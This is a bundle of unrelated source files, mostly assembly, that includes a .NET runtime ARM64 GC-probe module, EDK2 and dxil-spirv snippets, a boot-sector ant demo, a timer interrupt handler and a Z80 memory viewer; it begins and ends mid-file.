wrEvt2 CLR_RX_OVFL ret CmdSetGen: #if USE_GEN rdReg HOST_RX ; wparam RdReg32 HOST_RX ; wparam lparam FreezeTOS wrReg2 SET_GEN ; wparam drop.r #else ret #endif CmdSetGenAttn: #if USE_GEN rdReg HOST_RX ; wparam RdReg32 HOST_RX ; wparam lparam FreezeTOS wrReg2 SET_GEN_ATTN ; wparam drop.r #else ret #endif CmdSetOVMask: rdReg HOST_RX ; wparam RdReg32 HOST_RX ; wparam lparam FreezeTOS wrReg SET_CNT_MASK ; wparam drop.r ; ============================================================================ ; waterfall ; ============================================================================ CmdWFReset: rdReg HOST_RX ; wf_chan wrReg2 SET_WF_CHAN ; rdReg HOST_RX ; WF_SAMP_* FreezeTOS wrReg2 WF_SAMPLER_RST ret CmdGetWFSamples: rdReg HOST_RX ; wf_chan wrReg2 SET_WF_CHAN ; getWFSamples2: wrEvt HOST_RST push NWF_SAMPS_LOOP wf_more: REPEAT NWF_SAMPS_RPT wrEvt2 GET_WF_SAMP_I wrEvt2 GET_WF_SAMP_Q ENDR push 1 sub dup brNZ wf_more REPEAT NWF_SAMPS_REM wrEvt2 GET_WF_SAMP_I wrEvt2 GET_WF_SAMP_Q ENDR drop.r CmdGetWFContSamps: rdReg HOST_RX ; wf_chan wrReg2 SET_WF_CHAN ; push WF_SAMP_SYNC | WF_SAMP_CONTIN FreezeTOS wrReg2 WF_SAMPLER_RST br getWFSamples2 CmdSetWFFreq: rdReg HOST_RX ; wf_chan wrReg2 SET_WF_CHAN ; RdReg32 HOST_RX ; i_offset FreezeTOS wrReg2 SET_WF_FREQ ; ret CmdSetWFDecim: rdReg HOST_RX ; wf_chan wrReg2 SET_WF_CHAN ; RdReg32 HOST_RX ; lparam FreezeTOS wrReg2 SET_WF_DECIM ; ret
#include <iostream> class Ball { private: std::string m_color{"black"}; double m_radius {}; public: Ball(const std::string& color = "black", double radius = 10.0): m_color{ color }, m_radius{ radius } { } Ball(double radius) : Ball("black", radius) { } void print() { std::cout << "color: " << m_color << ", radius: " << m_radius << '\n'; } }; int main() { Ball def{}; def.print(); Ball blue{"blue"}; blue.print(); Ball twenty{ 20.0 }; twenty.print(); Ball blueTwenty{ "blue", 20.0 }; blueTwenty.print(); return 0; }
; A315749: Coordination sequence Gal.5.295.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,12,18,23,29,35,40,46,52,58,64,70,76,81,87,93,98,104,110,116,122,128,134,139,145,151,156,162,168,174,180,186,192,197,203,209,214,220,226,232,238,244,250,255,261,267,272,278,284 mov $3,$0 mov $4,1 lpb $0 mov $2,$0 mul $0,8 sub $4,$5 mul $4,2 sub $0,$4 mod $2,10 trn $2,2 sub $0,$2 add $5,$0 div $0,10 lpe add $0,1 mov $6,$3 mul $6,5 add $0,$6
; ; ANSI Video handling for Sharp OZ family ; ; BEL - chr(7) Beep it out (still nothing here) ; ; -- ONLY FOO STUFF, FOR NOW !! -- ; ; Stefano Bodrato - Aug. 2002 ; ; ; $Id: f_ansi_bel.asm,v 1.1 2002/11/20 14:15:19 stefano Exp $ ; XLIB ansi_BEL .ansi_BEL ret
/* Copyright (c) 2019-2022 Hans-Kristian Arntzen for Valve Corporation * * SPDX-License-Identifier: MIT * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "node_pool.hpp" #include "node.hpp" #include <utility> namespace dxil_spv { CFGNodePool::CFGNodePool() { } CFGNodePool::~CFGNodePool() { } CFGNode *CFGNodePool::create_node() { auto node = std::unique_ptr<CFGNode>(new CFGNode(*this)); auto *ret = node.get(); nodes.push_back(std::move(node)); return ret; } } // namespace dxil_spv
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; Mwait.Asm ; ; Abstract: ; ; AsmMwait function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmMwait ( ; IN UINTN Eax, ; IN UINTN Ecx ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmMwait) ASM_PFX(AsmMwait): mov eax, [esp + 4] mov ecx, [esp + 8] DB 0xf, 1, 0xc9 ; mwait ret
;; Licensed to the .NET Foundation under one or more agreements. ;; The .NET Foundation licenses this file to you under the MIT license. #include "AsmMacros.h" TEXTAREA EXTERN RhpGcPoll2 EXTERN g_fGcStressStarted PROBE_SAVE_FLAGS_EVERYTHING equ DEFAULT_FRAME_SAVE_FLAGS + PTFF_SAVE_ALL_SCRATCH ;; Build a map of symbols representing offsets into the transition frame (see PInvokeTransitionFrame in ;; rhbinder.h) and keep these two in sync. map 0 field OFFSETOF__PInvokeTransitionFrame__m_PreservedRegs field 10 * 8 ; x19..x28 m_CallersSP field 8 ; SP at routine entry field 19 * 8 ; x0..x18 field 8 ; lr m_SavedNZCV field 8 ; Saved condition flags field 4 * 8 ; d0..d3 PROBE_FRAME_SIZE field 0 ;; Support for setting up a transition frame when performing a GC probe. In many respects this is very ;; similar to the logic in PUSH_COOP_PINVOKE_FRAME in AsmMacros.h. In most cases setting up the ;; transition frame comprises the entirety of the caller's prolog (and initial non-prolog code) and ;; similarly for the epilog. Those cases can be dealt with using PROLOG_PROBE_FRAME and EPILOG_PROBE_FRAME ;; defined below. For the special cases where additional work has to be done in the prolog we also provide ;; the lower level macros ALLOC_PROBE_FRAME, FREE_PROBE_FRAME and INIT_PROBE_FRAME that allow more control ;; to be asserted. ;; ;; Note that we currently employ a significant simplification of frame setup: we always allocate a ;; maximally-sized PInvokeTransitionFrame and save all of the registers. Depending on the caller this can ;; lead to up to 20 additional register saves (x0-x18, lr) or 160 bytes of stack space. I have done no ;; analysis to see whether any of the worst cases occur on performance sensitive paths and whether the ;; additional saves will show any measurable degradation. ;; Perform the parts of setting up a probe frame that can occur during the prolog (and indeed this macro ;; can only be called from within the prolog). MACRO ALLOC_PROBE_FRAME $extraStackSpace, $saveFPRegisters ;; First create PInvokeTransitionFrame PROLOG_SAVE_REG_PAIR fp, lr, #-(PROBE_FRAME_SIZE + $extraStackSpace)! ;; Push down stack pointer and store FP and LR ;; Slot at [sp, #0x10] is reserved for Thread * ;; Slot at [sp, #0x18] is reserved for bitmask of saved registers ;; Save callee saved registers PROLOG_SAVE_REG_PAIR x19, x20, #0x20 PROLOG_SAVE_REG_PAIR x21, x22, #0x30 PROLOG_SAVE_REG_PAIR x23, x24, #0x40 PROLOG_SAVE_REG_PAIR x25, x26, #0x50 PROLOG_SAVE_REG_PAIR x27, x28, #0x60 ;; Slot at [sp, #0x70] is reserved for caller sp ;; Save the scratch registers PROLOG_NOP str x0, [sp, #0x78] PROLOG_NOP stp x1, x2, [sp, #0x80] PROLOG_NOP stp x3, x4, [sp, #0x90] PROLOG_NOP stp x5, x6, [sp, #0xA0] PROLOG_NOP stp x7, x8, [sp, #0xB0] PROLOG_NOP stp x9, x10, [sp, #0xC0] PROLOG_NOP stp x11, x12, [sp, #0xD0] PROLOG_NOP stp x13, x14, [sp, #0xE0] PROLOG_NOP stp x15, x16, [sp, #0xF0] PROLOG_NOP stp x17, x18, [sp, #0x100] PROLOG_NOP str lr, [sp, #0x110] ;; Slot at [sp, #0x118] is reserved for NZCV ;; Save the floating return registers IF $saveFPRegisters PROLOG_NOP stp d0, d1, [sp, #0x120] PROLOG_NOP stp d2, d3, [sp, #0x130] ENDIF MEND ;; Undo the effects of an ALLOC_PROBE_FRAME. This may only be called within an epilog. Note that all ;; registers are restored (apart for sp and pc), even volatiles. MACRO FREE_PROBE_FRAME $extraStackSpace, $restoreFPRegisters ;; Restore the scratch registers PROLOG_NOP ldr x0, [sp, #0x78] PROLOG_NOP ldp x1, x2, [sp, #0x80] PROLOG_NOP ldp x3, x4, [sp, #0x90] PROLOG_NOP ldp x5, x6, [sp, #0xA0] PROLOG_NOP ldp x7, x8, [sp, #0xB0] PROLOG_NOP ldp x9, x10, [sp, #0xC0] PROLOG_NOP ldp x11, x12, [sp, #0xD0] PROLOG_NOP ldp x13, x14, [sp, #0xE0] PROLOG_NOP ldp x15, x16, [sp, #0xF0] PROLOG_NOP ldp x17, x18, [sp, #0x100] PROLOG_NOP ldr lr, [sp, #0x110] ; Restore the floating return registers IF $restoreFPRegisters EPILOG_NOP ldp d0, d1, [sp, #0x120] EPILOG_NOP ldp d2, d3, [sp, #0x130] ENDIF ;; Restore callee saved registers EPILOG_RESTORE_REG_PAIR x19, x20, #0x20 EPILOG_RESTORE_REG_PAIR x21, x22, #0x30 EPILOG_RESTORE_REG_PAIR x23, x24, #0x40 EPILOG_RESTORE_REG_PAIR x25, x26, #0x50 EPILOG_RESTORE_REG_PAIR x27, x28, #0x60 EPILOG_RESTORE_REG_PAIR fp, lr, #(PROBE_FRAME_SIZE + $extraStackSpace)! MEND ;; Complete the setup of a probe frame allocated with ALLOC_PROBE_FRAME with the initialization that can ;; occur only outside the prolog (includes linking the frame to the current Thread). This macro assumes SP ;; is invariant outside of the prolog. ;; ;; $threadReg : register containing the Thread* (this will be preserved) ;; $trashReg : register that can be trashed by this macro ;; $savedRegsMask : value to initialize m_Flags field with (register or #constant) ;; $gcFlags : value of gcref / gcbyref flags for saved registers, used only if $savedRegsMask is constant ;; $frameSize : total size of the method's stack frame (including probe frame size) MACRO INIT_PROBE_FRAME $threadReg, $trashReg, $savedRegsMask, $gcFlags, $frameSize LCLS BitmaskStr BitmaskStr SETS "$savedRegsMask" str $threadReg, [sp, #OFFSETOF__PInvokeTransitionFrame__m_pThread] ; Thread * IF BitmaskStr:LEFT:1 == "#" ;; The savedRegsMask is a constant, remove the leading "#" since the MOVL64 doesn't expect it BitmaskStr SETS BitmaskStr:RIGHT:(:LEN:BitmaskStr - 1) MOVL64 $trashReg, $BitmaskStr, $gcFlags ELSE ASSERT "$gcFlags" == "" ;; The savedRegsMask is a register mov $trashReg, $savedRegsMask ENDIF str $trashReg, [sp, #OFFSETOF__PInvokeTransitionFrame__m_Flags] add $trashReg, sp, #$frameSize str $trashReg, [sp, #m_CallersSP] MEND ;; Simple macro to use when setting up the probe frame can comprise the entire prolog. Call this macro ;; first in the method (no further prolog instructions can be added after this). ;; ;; $threadReg : register containing the Thread* (this will be preserved). If defaulted (specify |) then ;; the current thread will be calculated inline into r2 ($trashReg must not equal r2 in ;; this case) ;; $trashReg : register that can be trashed by this macro ;; $savedRegsMask : value to initialize m_dwFlags field with (register or #constant) ;; $gcFlags : value of gcref / gcbyref flags for saved registers, used only if $savedRegsMask is constant MACRO PROLOG_PROBE_FRAME $threadReg, $trashReg, $savedRegsMask, $gcFlags ; Local string tracking the name of the register in which the Thread* is kept. Defaults to the value ; of $threadReg. LCLS __PPF_ThreadReg __PPF_ThreadReg SETS "$threadReg" ; Define the method prolog, allocating enough stack space for the PInvokeTransitionFrame and saving ; incoming register values into it. ALLOC_PROBE_FRAME 0, {true} ; If the caller didn't provide a value for $threadReg then generate code to fetch the Thread* into x2. ; Record that x2 holds the Thread* in our local variable. IF "$threadReg" == "" ASSERT "$trashReg" != "x2" __PPF_ThreadReg SETS "x2" INLINE_GETTHREAD $__PPF_ThreadReg, $trashReg ENDIF ; Perform the rest of the PInvokeTransitionFrame initialization. INIT_PROBE_FRAME $__PPF_ThreadReg, $trashReg, $savedRegsMask, $gcFlags, PROBE_FRAME_SIZE mov $trashReg, sp str $trashReg, [$__PPF_ThreadReg, #OFFSETOF__Thread__m_pHackPInvokeTunnel] MEND ; Simple macro to use when PROLOG_PROBE_FRAME was used to set up and initialize the prolog and ; PInvokeTransitionFrame. This will define the epilog including a return via the restored LR. MACRO EPILOG_PROBE_FRAME FREE_PROBE_FRAME 0, {true} EPILOG_RETURN MEND ;; In order to avoid trashing VFP registers across the loop hijack we must save all user registers, so that ;; registers used by the loop being hijacked will not be affected. Unlike ARM32 where neon registers (NQ0, ..., NQ15) ;; are fully covered by the floating point registers D0 ... D31, we have 32 neon registers Q0, ... Q31 on ARM64 ;; which are not fully covered by the register D0 ... D31. Therefore we must explicitly save all Q registers. EXTRA_SAVE_SIZE equ (32*16) MACRO ALLOC_LOOP_HIJACK_FRAME PROLOG_STACK_ALLOC EXTRA_SAVE_SIZE ;; Save all neon registers PROLOG_NOP stp q0, q1, [sp] PROLOG_NOP stp q2, q3, [sp, #0x20] PROLOG_NOP stp q4, q5, [sp, #0x40] PROLOG_NOP stp q6, q7, [sp, #0x60] PROLOG_NOP stp q8, q9, [sp, #0x80] PROLOG_NOP stp q10, q11, [sp, #0xA0] PROLOG_NOP stp q12, q13, [sp, #0xC0] PROLOG_NOP stp q14, q15, [sp, #0xE0] PROLOG_NOP stp q16, q17, [sp, #0x100] PROLOG_NOP stp q18, q19, [sp, #0x120] PROLOG_NOP stp q20, q21, [sp, #0x140] PROLOG_NOP stp q22, q23, [sp, #0x160] PROLOG_NOP stp q24, q25, [sp, #0x180] PROLOG_NOP stp q26, q27, [sp, #0x1A0] PROLOG_NOP stp q28, q29, [sp, #0x1C0] PROLOG_NOP stp q30, q31, [sp, #0x1E0] ALLOC_PROBE_FRAME 0, {false} MEND MACRO FREE_LOOP_HIJACK_FRAME FREE_PROBE_FRAME 0, {false} ;; restore all neon registers PROLOG_NOP ldp q0, q1, [sp] PROLOG_NOP ldp q2, q3, [sp, #0x20] PROLOG_NOP ldp q4, q5, [sp, #0x40] PROLOG_NOP ldp q6, q7, [sp, #0x60] PROLOG_NOP ldp q8, q9, [sp, #0x80] PROLOG_NOP ldp q10, q11, [sp, #0xA0] PROLOG_NOP ldp q12, q13, [sp, #0xC0] PROLOG_NOP ldp q14, q15, [sp, #0xE0] PROLOG_NOP ldp q16, q17, [sp, #0x100] PROLOG_NOP ldp q18, q19, [sp, #0x120] PROLOG_NOP ldp q20, q21, [sp, #0x140] PROLOG_NOP ldp q22, q23, [sp, #0x160] PROLOG_NOP ldp q24, q25, [sp, #0x180] PROLOG_NOP ldp q26, q27, [sp, #0x1A0] PROLOG_NOP ldp q28, q29, [sp, #0x1C0] PROLOG_NOP ldp q30, q31, [sp, #0x1E0] EPILOG_STACK_FREE EXTRA_SAVE_SIZE MEND ;; ;; Macro to clear the hijack state. This is safe to do because the suspension code will not Unhijack this ;; thread if it finds it at an IP that isn't managed code. ;; ;; Register state on entry: ;; x2: thread pointer ;; ;; Register state on exit: ;; MACRO ClearHijackState ASSERT OFFSETOF__Thread__m_pvHijackedReturnAddress == (OFFSETOF__Thread__m_ppvHijackedReturnAddressLocation + 8) ;; Clear m_ppvHijackedReturnAddressLocation and m_pvHijackedReturnAddress stp xzr, xzr, [x2, #OFFSETOF__Thread__m_ppvHijackedReturnAddressLocation] ;; Clear m_uHijackedReturnValueFlags str xzr, [x2, #OFFSETOF__Thread__m_uHijackedReturnValueFlags] MEND ;; ;; The prolog for all GC suspension hijacks (normal and stress). Fixes up the hijacked return address, and ;; clears the hijack state. ;; ;; Register state on entry: ;; All registers correct for return to the original return address. ;; ;; Register state on exit: ;; x2: thread pointer ;; x3: trashed ;; x12: transition frame flags for the return registers x0 and x1 ;; MACRO FixupHijackedCallstack ;; x2 <- GetThread(), TRASHES x3 INLINE_GETTHREAD x2, x3 ;; ;; Fix the stack by restoring the original return address ;; ASSERT OFFSETOF__Thread__m_uHijackedReturnValueFlags == (OFFSETOF__Thread__m_pvHijackedReturnAddress + 8) ;; Load m_pvHijackedReturnAddress and m_uHijackedReturnValueFlags ldp lr, x12, [x2, #OFFSETOF__Thread__m_pvHijackedReturnAddress] ClearHijackState MEND ;; ;; Set the Thread state and wait for a GC to complete. ;; ;; Register state on entry: ;; x4: thread pointer ;; ;; Register state on exit: ;; x4: thread pointer ;; All other registers trashed ;; EXTERN RhpWaitForGCNoAbort MACRO WaitForGCCompletion ldr w2, [x4, #OFFSETOF__Thread__m_ThreadStateFlags] tst w2, #TSF_SuppressGcStress__OR__TSF_DoNotTriggerGC bne %ft0 ldr x9, [x4, #OFFSETOF__Thread__m_pHackPInvokeTunnel] bl RhpWaitForGCNoAbort 0 MEND MACRO HijackTargetFakeProlog ;; This is a fake entrypoint for the method that 'tricks' the OS into calling our personality routine. ;; The code here should never be executed, and the unwind info is bogus, but we don't mind since the ;; stack is broken by the hijack anyway until after we fix it below. PROLOG_SAVE_REG_PAIR fp, lr, #-0x10! nop ; We also need a nop here to simulate the implied bl instruction. Without ; this, an OS-applied -4 will back up into the method prolog and the unwind ; will not be applied as desired. MEND ;; ;; ;; ;; GC Probe Hijack targets ;; ;; EXTERN RhpPInvokeExceptionGuard NESTED_ENTRY RhpGcProbeHijackWrapper, .text, RhpPInvokeExceptionGuard HijackTargetFakeProlog LABELED_RETURN_ADDRESS RhpGcProbeHijack FixupHijackedCallstack orr x12, x12, #DEFAULT_FRAME_SAVE_FLAGS b RhpGcProbe NESTED_END RhpGcProbeHijackWrapper #ifdef FEATURE_GC_STRESS ;; ;; ;; GC Stress Hijack targets ;; ;; LEAF_ENTRY RhpGcStressHijack FixupHijackedCallstack orr x12, x12, #DEFAULT_FRAME_SAVE_FLAGS b RhpGcStressProbe LEAF_END RhpGcStressHijack ;; ;; Worker for our GC stress probes. Do not call directly!! ;; Instead, go through RhpGcStressHijack{Scalar|Object|Byref}. ;; This worker performs the GC Stress work and returns to the original return address. ;; ;; Register state on entry: ;; x0: hijacked function return value ;; x1: hijacked function return value ;; x2: thread pointer ;; w12: register bitmask ;; ;; Register state on exit: ;; Scratch registers, except for x0, have been trashed ;; All other registers restored as they were when the hijack was first reached. ;; NESTED_ENTRY RhpGcStressProbe PROLOG_PROBE_FRAME x2, x3, x12, bl $REDHAWKGCINTERFACE__STRESSGC EPILOG_PROBE_FRAME NESTED_END RhpGcStressProbe #endif ;; FEATURE_GC_STRESS LEAF_ENTRY RhpGcProbe ldr x3, =RhpTrapThreads ldr w3, [x3] tbnz x3, #TrapThreadsFlags_TrapThreads_Bit, RhpGcProbeRare ret LEAF_END RhpGcProbe EXTERN RhpThrowHwEx NESTED_ENTRY RhpGcProbeRare PROLOG_PROBE_FRAME x2, x3, x12, mov x4, x2 WaitForGCCompletion ldr x2, [sp, #OFFSETOF__PInvokeTransitionFrame__m_Flags] tbnz x2, #PTFF_THREAD_ABORT_BIT, %F1 EPILOG_PROBE_FRAME 1 FREE_PROBE_FRAME 0, {true} EPILOG_NOP mov w0, #STATUS_REDHAWK_THREAD_ABORT EPILOG_NOP mov x1, lr ;; return address as exception PC EPILOG_NOP b RhpThrowHwEx NESTED_END RhpGcProbeRare LEAF_ENTRY RhpGcPoll ldr x0, =RhpTrapThreads ldr w0, [x0] cbnz w0, RhpGcPollRare ;; TrapThreadsFlags_None = 0 ret LEAF_END RhpGcPoll NESTED_ENTRY RhpGcPollRare PUSH_COOP_PINVOKE_FRAME x0 bl RhpGcPoll2 POP_COOP_PINVOKE_FRAME ret NESTED_END RhpGcPollRare #ifdef FEATURE_GC_STRESS NESTED_ENTRY RhpHijackForGcStress ;; This function should be called from right before epilog ;; Push FP and LR, and allocate stack to hold PAL_LIMITED_CONTEXT structure and VFP return value registers PROLOG_SAVE_REG_PAIR fp, lr, #-(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)! ;; ;; Setup a PAL_LIMITED_CONTEXT that looks like what you'd get if you had suspended this thread at the ;; IP after the call to this helper. ;; ;; This is very likely overkill since the calculation of the return address should only need SP and ;; LR, but this is test code, so I'm not too worried about efficiency. ;; ;; Setup a PAL_LIMITED_CONTEXT on the stack ;; { ;; FP and LR already pushed. PROLOG_NOP stp x0, x1, [sp, #0x10] PROLOG_SAVE_REG_PAIR x19, x20, #0x20 PROLOG_SAVE_REG_PAIR x21, x22, #0x30 PROLOG_SAVE_REG_PAIR x23, x24, #0x40 PROLOG_SAVE_REG_PAIR x25, x26, #0x50 PROLOG_SAVE_REG_PAIR x27, x28, #0x60 PROLOG_SAVE_REG lr, #0x78 ;; } end PAL_LIMITED_CONTEXT ;; Save VFP return value stp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)] stp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)] ;; Compute and save SP at callsite. add x0, sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20) ;; +0x20 for the pushes right before the context struct str x0, [sp, #OFFSETOF__PAL_LIMITED_CONTEXT__SP] mov x0, sp ; Address of PAL_LIMITED_CONTEXT bl $THREAD__HIJACKFORGCSTRESS ;; Restore return value registers (saved in PAL_LIMITED_CONTEXT structure) ldp x0, x1, [sp, #0x10] ;; Restore VFP return value ldp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)] ldp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)] ;; Epilog EPILOG_RESTORE_REG_PAIR x19, x20, #0x20 EPILOG_RESTORE_REG_PAIR x21, x22, #0x30 EPILOG_RESTORE_REG_PAIR x23, x24, #0x40 EPILOG_RESTORE_REG_PAIR x25, x26, #0x50 EPILOG_RESTORE_REG_PAIR x27, x28, #0x60 EPILOG_RESTORE_REG_PAIR fp, lr, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)! EPILOG_RETURN NESTED_END RhpHijackForGcStress NESTED_ENTRY RhpHijackForGcStressLeaf ;; This should be jumped to, right before epilog ;; x9 has the return address (we don't care about trashing scratch regs at this point) ;; Push FP and LR, and allocate stack to hold PAL_LIMITED_CONTEXT structure and VFP return value registers PROLOG_SAVE_REG_PAIR fp, lr, #-(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)! ;; ;; Setup a PAL_LIMITED_CONTEXT that looks like what you'd get if you had suspended this thread at the ;; IP after the call to this helper. ;; ;; This is very likely overkill since the calculation of the return address should only need SP and ;; LR, but this is test code, so I'm not too worried about efficiency. ;; ;; Setup a PAL_LIMITED_CONTEXT on the stack ;; { ;; FP and LR already pushed. PROLOG_NOP stp x0, x1, [sp, #0x10] PROLOG_SAVE_REG_PAIR x19, x20, #0x20 PROLOG_SAVE_REG_PAIR x21, x22, #0x30 PROLOG_SAVE_REG_PAIR x23, x24, #0x40 PROLOG_SAVE_REG_PAIR x25, x26, #0x50 PROLOG_SAVE_REG_PAIR x27, x28, #0x60 ; PROLOG_SAVE_REG macro doesn't let to use scratch reg: PROLOG_NOP str x9, [sp, #0x78] ; this is return address from RhpHijackForGcStress; lr is return address for it's caller ;; } end PAL_LIMITED_CONTEXT ;; Save VFP return value stp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)] stp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)] ;; Compute and save SP at callsite. add x0, sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20) ;; +0x20 for the pushes right before the context struct str x0, [sp, #OFFSETOF__PAL_LIMITED_CONTEXT__SP] mov x0, sp ; Address of PAL_LIMITED_CONTEXT bl $THREAD__HIJACKFORGCSTRESS ;; Restore return value registers (saved in PAL_LIMITED_CONTEXT structure) ldp x0, x1, [sp, #0x10] ;; Restore VFP return value ldp d0, d1, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x00)] ldp d2, d3, [sp, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x10)] ;; Epilog EPILOG_RESTORE_REG_PAIR x19, x20, #0x20 EPILOG_RESTORE_REG_PAIR x21, x22, #0x30 EPILOG_RESTORE_REG_PAIR x23, x24, #0x40 EPILOG_RESTORE_REG_PAIR x25, x26, #0x50 EPILOG_RESTORE_REG_PAIR x27, x28, #0x60 EPILOG_NOP ldr x9, [sp, #0x78] EPILOG_RESTORE_REG_PAIR fp, lr, #(SIZEOF__PAL_LIMITED_CONTEXT + 0x20)! EPILOG_NOP br x9 NESTED_END RhpHijackForGcStressLeaf ;; ;; INVARIANT: Don't trash the argument registers, the binder codegen depends on this. ;; LEAF_ENTRY RhpSuppressGcStress INLINE_GETTHREAD x9, x10 add x9, x9, #OFFSETOF__Thread__m_ThreadStateFlags Retry ldxr w10, [x9] orr w10, w10, #TSF_SuppressGcStress stxr w11, w10, [x9] cbz w11, Success b Retry Success ret LEAF_END RhpSuppressGcStress #endif ;; FEATURE_GC_STRESS INLINE_GETTHREAD_CONSTANT_POOL end
section .bss digit_space resb 100 digit_space_pos resb 8 section .text global _start ;123 / 10 = 12 remainder 3 ; store 3 ;12 / 10 = 1 R 2 ; store 2 ;1 / 10 = 0 R 1 ; store 1 _start: mov rax, 123 call _print_rax mov rax, 60 mov rdi, 0 syscall _print_rax: mov rcx, digit_space mov rdx, 10 mov [rcx], rbx inc rcx mov [digit_space_pos], rcx _print_rax_loop: mov rdx, 0 mov rbx, 10 div rbx push rax add rdx, 48 mov rcx, [digit_space_pos] mov [rcx], dl inc rcx mov [digit_space_pos], rcx pop rax cmp rax, 0 jne _print_rax_loop _print_rax_loop2: mov rcx, [digit_space_pos] mov rax, 1 mov rdi, 1 mov rsi, rcx mov rdx, 1 syscall mov rcx, [digit_space_pos] dec rcx mov [digit_space_pos], rcx cmp rcx, digit_space jge _print_rax_loop2 ret
; Copyright © 2013 - 2021 by Brett Kuntz. All rights reserved. include timer.inc ; ########################################################################## init_timer proc mov ax, 0 mov fs, ax cli mov word ptr fs:[IVT_IRQ0], offset timer_handler mov word ptr fs:[IVT_IRQ0+2], BIOS_SEG mov ax, TIMER_DIVIDER out PIT_PORT, al mov al, ah out PIT_PORT, al sti ret init_timer endp ; ########################################################################## timer_handler proc uses ax local fpu_save[94]:byte fsave fpu_save fld timer_resolution fld timer_count faddp fist tick_count fstp timer_count frstor fpu_save eoi iret timer_handler endp ; ##########################################################################
bits 16 ; tip: use -mi8086 for objdump disassembly section .text ; we use a linker script for debug ELFs global _start _start: xor ax, ax ; clear AX ; set stack to 0000:9c00 mov ss, ax ; stack segment mov sp, 0x9c00 ; stack pointer - TODO why this value? ; use data segment 0x0000 mov ds, ax ; set to zero ; load video memory address for stos{,b,w,d} mov ah, 0xb8 ; AL is still zero mov es, ax ; ES=0xB800 address of video segment ; set up graphic mode and clear screen mov ax, 0x03 ; AH=0x00 set graphic mode ; AL=0x03 text mode, 80x25, 16 colors int 0x10 ; set up character font for 80x50 mov ax, 0x1112 ; AH=0x11 character generation ; AL=0x12 load 8x8 character font mov bl, 0x00 ; character set 0 int 0x10 ; set up text mode cursor mov ah, 0x01 ; AH=0x01 (text mode cursor shape) mov ch, 0x10 ; cursor invisible if bits 6-5 = 01 int 0x10 ;mov ax, 0x0a18 ; upwards green ant ;mov di, 0x1000 ;stosw init_screen: mov cx, 80 * 50 mov ax, 0x0400 ; fill screen with red fg, black bg xor di, di rep stosw init_ants: mov cx, [ants.len] mov bx, ants .iterate: call random xor dx, dx div word [init_ants.max] ; shorter than immediate in register mov [bx], dx add bx, 2 loop .iterate clear_screen: mov cx, 80 * 50 mov di, 0 mov si, 0 .iterate: es lodsw mov al, 0 ; clear character stosw loop .iterate draw_ants: mov cx, [ants.len] mov bx, ants .iterate: mov ax, [bx] mov di, ax shr di, 2 shl di, 1 ; di = flat position, times 2 and ax, 0x3 ; ax = state ; update orientation mov ah, [es:di + 1] ; copy color from screen ; update position ; flip color and store it on old position xor ah, 0xA0 ; flip color add al, 0x18 ; new state to character stosw add bx, 2 ; next ant loop .iterate jmp halt random: ; stores the result in ax push dx xor dx, dx mov word ax, 17364 mul word [random.seed] div word [random.modulus] mov [random.seed], dx mov ax, dx pop dx ret halt: cli hlt ; halt section .bss ants.max equ 128 ants: resw ants.max ; position << 2 | state section .data ants.len: dw 8 init_ants.max: dw ((80 * 50) << 2) | 0x3 random.seed: dw 23 random.modulus: dw 65521
public memory_app extern ui_window_handle_input_propagate extern ui_window_handle_input_do_not_propagate extern ui_window_handle_vsync_noop extern ui_label_IX_draw extern ui_panel_IX_draw extern ui_box_IX_calculate_absolute_position_DE extern ui_widget_IX_draw extern ui_hotkey_highlight_IX_draw extern convert_A_to_hex_string_DE extern convert_A_to_binary_string_DE extern convert_HL_to_decimal_string_DE_ret_length_B extern debug_io_print_hex_byte_A extern debug_io_print_character_A include "video_io.inc" include "ui.inc" memory_app_init: RET memory_app_activate: RET memory_app_deactivate: RET memory_handle_input: BIT 0, D ; ignore key release events JP NZ, ui_window_handle_input_propagate LD A, E CP A, $6B ; left arrow JP Z, memory_handle_input_cursor_left CP A, $74 ; right arrow JP Z, memory_handle_input_cursor_right CP A, $75 ; up arrow JP Z, memory_handle_input_cursor_line_up CP A, $72 ; down arrow JP Z, memory_handle_input_cursor_line_down CP A, $7D ; page up JP Z, memory_handle_input_cursor_page_up CP A, $7A ; page down JP Z, memory_handle_input_cursor_page_down CP A, $2D ; R JP Z, memory_handle_input_run_code LD HL, memory_handle_input_hex_keycodes LD BC, 16 CPIR JP Z, memory_handle_input_hex CALL debug_io_print_hex_byte_A 